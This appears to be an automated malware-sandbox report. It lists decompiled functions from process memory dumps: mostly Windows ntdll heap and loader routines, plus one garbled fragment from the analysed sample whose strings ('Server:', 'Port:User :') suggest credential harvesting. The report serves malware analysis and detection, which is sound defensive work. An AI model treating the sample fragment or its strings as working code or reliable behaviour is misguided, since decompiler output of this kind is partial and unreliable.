				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x1368748 - 1;
					if( *0x1368748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E0127B150();
									_t260 = _t257 + 4;
								} else {
									E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E0127B150();
								_t257 = _t260 + 4;
								__eflags =  *0x1367bc8;
								if(__eflags == 0) {
									E01332073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E0133A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E012CD5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E0129AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E0133A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E0133A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x1368748 - 1;
					if( *0x1368748 >= 1) {
						_t127 = _t256 + 0xfff; // 0xfff
						_t131 = _t127 & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E0127B150();
							} else {
								E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E0127B150();
							__eflags =  *0x1367bc8;
							if(__eflags == 0) {
								_t131 = E01332073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x0129a83a
0x0129a83c
0x0129a83e
0x0129a841
0x0129a844
0x0129a84a
0x0129aa53
0x0129aa59
0x0129aa59
0x0129a858
0x0129a85e
0x0129aaf5
0x0129aafc
0x012e229e
0x012e22a2
0x012e22a8
0x012e22b3
0x012e22b5
0x012e22bb
0x012e22c1
0x012e22c5
0x012e22e6
0x012e22eb
0x012e22f0
0x012e22c7
0x012e22dc
0x012e22e1
0x012e22e1
0x012e22f3
0x012e22f8
0x012e22fd
0x012e2300
0x012e2307
0x012e230e
0x012e230e
0x012e2313
0x012e2313
0x012e22b5
0x012e22a2
0x0129aafc
0x0129a864
0x0129a869
0x0129aa5c
0x0129aa5e
0x0129a86f
0x0129a87f
0x0129a885
0x0129a885
0x0129a88b
0x0129a890
0x0129a896
0x0129ab0c
0x0129ab0f
0x0129ab15
0x012e2320
0x012e2320
0x0129ab1b
0x0129a89c
0x0129a89f
0x0129a8a2
0x0129a8a2
0x0129a8a5
0x0129a8af
0x0129a8b3
0x0129a8b8
0x0129aa66
0x0129a8be
0x0129a8c5
0x0129a8c6
0x0129a8ce
0x012e2328
0x012e2332
0x012e2337
0x012e2337
0x0129a8ce
0x0129a8d4
0x0129a8d8
0x0129a8db
0x0129a8de
0x0129a8e1
0x0129a8e5
0x0129a8e8
0x0129a8f0
0x0129a8f3
0x012e234c
0x012e2350
0x012e2355
0x012e2359
0x012e2359
0x0129a8f9
0x0129a901
0x0129aae4
0x0129aae4
0x0129aaea
0x00000000
0x0129a907
0x0129a90a
0x0129a91d
0x0129a91d
0x00000000
0x0129a910
0x0129a910
0x0129a910
0x0129a914
0x0129a924
0x0129a924
0x0129a924
0x0129a924
0x0129a916
0x0129a91b
0x00000000
0x00000000
0x00000000
0x0129a91b
0x0129a925
0x0129a925
0x0129a932
0x0129a936
0x0129a93c
0x0129a93c
0x0129a93c
0x0129ab22
0x0129ab24
0x0129ab27
0x0129ab27
0x0129a942
0x0129a944
0x0129aaba
0x0129aabd
0x0129aac0
0x0129aac0
0x0129aac2
0x0129ab2f
0x0129aac4
0x0129aac4
0x0129aac7
0x0129aaca
0x0129aacc
0x0129aace
0x0129aace
0x0129aace
0x0129aad1
0x0129aad1
0x0129aad7
0x0129aad9
0x00000000
0x00000000
0x012e2361
0x012e2369
0x012e236b
0x00000000
0x012e2371
0x00000000
0x012e2371
0x00000000
0x012e236b
0x0129aac0
0x0129a94a
0x0129a94a
0x0129a94d
0x0129a94d
0x0129a950
0x0129a954
0x012e2376
0x012e2380
0x0129a95a
0x0129a95a
0x0129a95c
0x0129a95f
0x0129a961
0x0129a961
0x0129a967
0x0129a96a
0x0129a972
0x0129aa02
0x0129aa06
0x0129aa10
0x0129aa16
0x0129aa16
0x0129aa1b
0x0129aa21
0x0129aa24
0x0129aa27
0x0129aa29
0x0129aa2c
0x0129aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x0129a978
0x0129a978
0x0129a97b
0x0129a981
0x0129a996
0x0129a998
0x0129a99f
0x0129a9a2
0x012e238a
0x0129a9a8
0x0129a9a8
0x0129a9a8
0x0129a9aa
0x0129a9ad
0x0129a9b0
0x0129a9bb
0x0129a9be
0x0129a9c7
0x0129a9c9
0x0129a9c9
0x0129a9cc
0x0129a9d1
0x0129aa6d
0x0129aa70
0x0129aa73
0x0129aa75
0x0129aa79
0x0129aa7e
0x0129aa82
0x0129aa8f
0x0129aa94
0x0129aa96
0x012e2392
0x012e23a1
0x012e23a1
0x0129aa9c
0x0129aa9f
0x0129aaa2
0x0129aaa2
0x0129aaa8
0x0129aaab
0x0129aaaf
0x00000000
0x0129aab5
0x00000000
0x0129aab5
0x0129a9d7
0x0129a9d7
0x0129a9da
0x0129a9e0
0x0129a9e3
0x0129a9e6
0x0129a9e9
0x0129a9eb
0x0129a9fd
0x0129a9fd
0x00000000
0x0129a9eb
0x00000000
0x00000000
0x00000000
0x0129a983
0x0129a983
0x0129a983
0x0129a987
0x0129a995
0x0129a995
0x0129a995
0x0129a995
0x0129a989
0x0129a98e
0x00000000
0x0129a990
0x00000000
0x0129a990
0x0129a98e
0x00000000
0x0129a983
0x0129a972
0x0129a90a
0x0129aa34
0x0129aa34
0x0129aa40
0x0129aa43
0x0129aa46
0x0129aa4d
0x012e23ab
0x012e23b2
0x012e23b8
0x012e23be
0x012e23c3
0x012e23c5
0x012e23cb
0x012e23d1
0x012e23d5
0x012e23f6
0x012e23fb
0x012e23d7
0x012e23ec
0x012e23f1
0x012e2403
0x012e2408
0x012e2410
0x012e2417
0x012e2422
0x012e2422
0x012e2417
0x012e23c5
0x012e23b2
0x00000000

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 012E22F3
HEAP: , xrefs: 012E22E6, 012E23F6
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 012E2403
HEAP[%wZ]: , xrefs: 012E22D7, 012E23E7

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: b27f39d808ad361640e81361d57b3b169613feb5c503561454a601235ed4a32a
Instruction ID: e824a7b7cdf8dcda702d46bcee6122da236da9bbe1f774ceabadecdd8f665888
Opcode Fuzzy Hash: b27f39d808ad361640e81361d57b3b169613feb5c503561454a601235ed4a32a
Instruction Fuzzy Hash: 11D1AE34A203469FEB19CF6CC491BBABBF5FF58300F158569DA9A9B341E374A841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0129A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0129A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E0129DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E012B9730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E0133A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E012B9660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E0127B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E01297D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E0133138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E01297D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E01297D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E01331582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E01297D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E01297D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E01331582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E012CD5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x0129a229
0x0129a231
0x0129a23f
0x0129a242
0x0129a244
0x0129a24c
0x0129a255
0x0129a25a
0x0129a25f
0x012e1c76
0x012e1c78
0x012e1c7e
0x012e1c7f
0x012e1c81
0x012e1c82
0x012e1c84
0x012e1c89
0x012e1c8b
0x012e1c9e
0x012e1c9e
0x012e1cab
0x012e1cb2
0x00000000
0x012e1cb2
0x012e1c8d
0x012e1c92
0x00000000
0x00000000
0x012e1c94
0x012e1c98
0x00000000
0x00000000
0x00000000
0x012e1c98
0x0129a265
0x0129a265
0x0129a266
0x0129a26f
0x0129a270
0x0129a276
0x0129a277
0x0129a279
0x0129a27e
0x0129a282
0x012e1db5
0x012e1dbb
0x012e1dc1
0x012e1dc5
0x012e1de4
0x012e1de9
0x012e1dc7
0x012e1ddc
0x012e1de1
0x012e1def
0x012e1df3
0x012e1df7
0x012e1dfe
0x012e1e06
0x0129a302
0x0129a308
0x0129a308
0x0129a288
0x0129a28d
0x0129a294
0x012e1cc1
0x0129a29a
0x0129a29a
0x0129a29a
0x0129a29f
0x012e1ccb
0x012e1cd1
0x012e1cd8
0x012e1cea
0x012e1cea
0x012e1cd8
0x0129a2a9
0x0129a2af
0x0129a2bc
0x012e1cfd
0x0129a2c2
0x0129a2c2
0x0129a2c2
0x0129a2c7
0x012e1d07
0x012e1d0d
0x012e1d14
0x012e1d1f
0x012e1d21
0x012e1d2c
0x012e1d2c
0x012e1d2c
0x012e1d47
0x012e1d47
0x012e1d14
0x0129a2cd
0x0129a2d2
0x0129a2d9
0x012e1d5a
0x0129a2df
0x0129a2df
0x0129a2df
0x0129a2e4
0x012e1d69
0x012e1d6b
0x012e1d76
0x012e1d76
0x012e1d76
0x012e1d91
0x012e1d91
0x0129a2ea
0x0129a2f0
0x0129a2f5
0x012e1da8
0x012e1dad
0x012e1dad
0x0129a2fd
0x0129a300
0x00000000

Strings

HEAP: , xrefs: 012E1DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 012E1DF9
HEAP[%wZ]: , xrefs: 012E1DD7
`, xrefs: 012E1C8D

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: ef1a80e3ea5c9b5a732cb18f9d520b15a7bbe1e77dbee4c8d391d952ae342395
Instruction ID: 66f54590cefb561cb17a5cc7d922a956d29e097588d8d3e4b1e093140c407245
Opcode Fuzzy Hash: ef1a80e3ea5c9b5a732cb18f9d520b15a7bbe1e77dbee4c8d391d952ae342395
Instruction Fuzzy Hash: 5851E3326247829FE712DB6CC849F777BE8EF84750F0804A8F6518B291D775D850CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004162BB, Relevance: 5.2, Strings: 4, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004162BB(signed int __eax, void* __ebx, void* __edx) {
				signed char _t76;
				void* _t77;
				void* _t82;

				_t76 = __eax & 0x000000c7;
				asm("scasb");
				if (_t76 < 0) goto 0x4162e8;
				_t82 = __edx - __ebx;
				asm("fisub word [eax+ebp+0x7cbee2cc]");
				_t77 = _t76 - 0xb124cfa7;
			}

0x004162bb
0x004162bd
0x004162be
0x004162bf
0x004162c0
0x004162c7

Strings

:, xrefs: 00416334
Server:, xrefs: 0041636E, 00416371
User :, xrefs: 004163CD, 00416400, 0041644C, 00416498, 004163D0, 00416403, 0041644F, 0041649B
Port:User :, xrefs: 004163DE, 004163E1

Memory Dump Source

Source File: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: :$Port:User :$Server:$User :
API String ID: 0-1282517814
Opcode ID: 1e88f1b219ecfa16a6de2f8bb1492cec62cdd6824486d11a91c95c7d87a5a7df
Instruction ID: 2cb7ea20c2d39c5ca81e3378d807fc36ed61881332b926b34b64de26b9750b1c
Opcode Fuzzy Hash: 1e88f1b219ecfa16a6de2f8bb1492cec62cdd6824486d11a91c95c7d87a5a7df
Instruction Fuzzy Hash: C65147B2801208AACF11DFE5DC819DFB7BCEF58214F04859FE54967101E939E694CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 012A8E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E012A8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x136d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1368464; // 0x76d30110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1365780 & 0x00000003) != 0) {
							E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1365780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E012BB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1367984; // 0xd42c18
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1368464; // 0x76d30110
					 *0x136b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E012A9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1365780 & 0x00000005) != 0) {
						_push(_t49);
						E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x012a8e0f
0x012a8e16
0x012a8e19
0x012a8e1b
0x012a8e21
0x012a8e7f
0x012a8e85
0x012e9354
0x012e936c
0x012e9371
0x012e937b
0x012e9381
0x012e9381
0x012e937b
0x012a8e9d
0x012a8e9d
0x012a8e29
0x012a8e2c
0x012a8e38
0x012a8e3e
0x012a8e43
0x012a8eb5
0x012a8eb9
0x012e92aa
0x012e92af
0x012e92e8
0x012e92e8
0x012e92af
0x012a8eb9
0x012a8e45
0x012a8e53
0x012a8e5b
0x012a8e5f
0x012a8e78
0x012a8e78
0x012a8e7d
0x012a8ec3
0x012a8ecd
0x012a8ed2
0x012a8ed2
0x012a8ec5
0x012a8ec5
0x00000000
0x012a8e7d
0x012a8e67
0x012a8ea4
0x012e931a
0x00000000
0x00000000
0x012e9320
0x012a8ea4
0x012a8e70
0x012e9325
0x012e9340
0x012e9345
0x012e9345
0x012a8e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 012E9357
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 012E932A
minkernel\ntdll\ldrsnap.c, xrefs: 012E933B, 012E9367
LdrpFindDllActivationContext, xrefs: 012E9331, 012E935D

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 2313d0817efbfb75a3da98faec3b22c8fb5a7caa7ae17b30ccb5a77cf88ed48c
Instruction ID: 340896a204e98fe5352ef9af64cd3361ac0401d538d96760c633938607583b58
Opcode Fuzzy Hash: 2313d0817efbfb75a3da98faec3b22c8fb5a7caa7ae17b30ccb5a77cf88ed48c
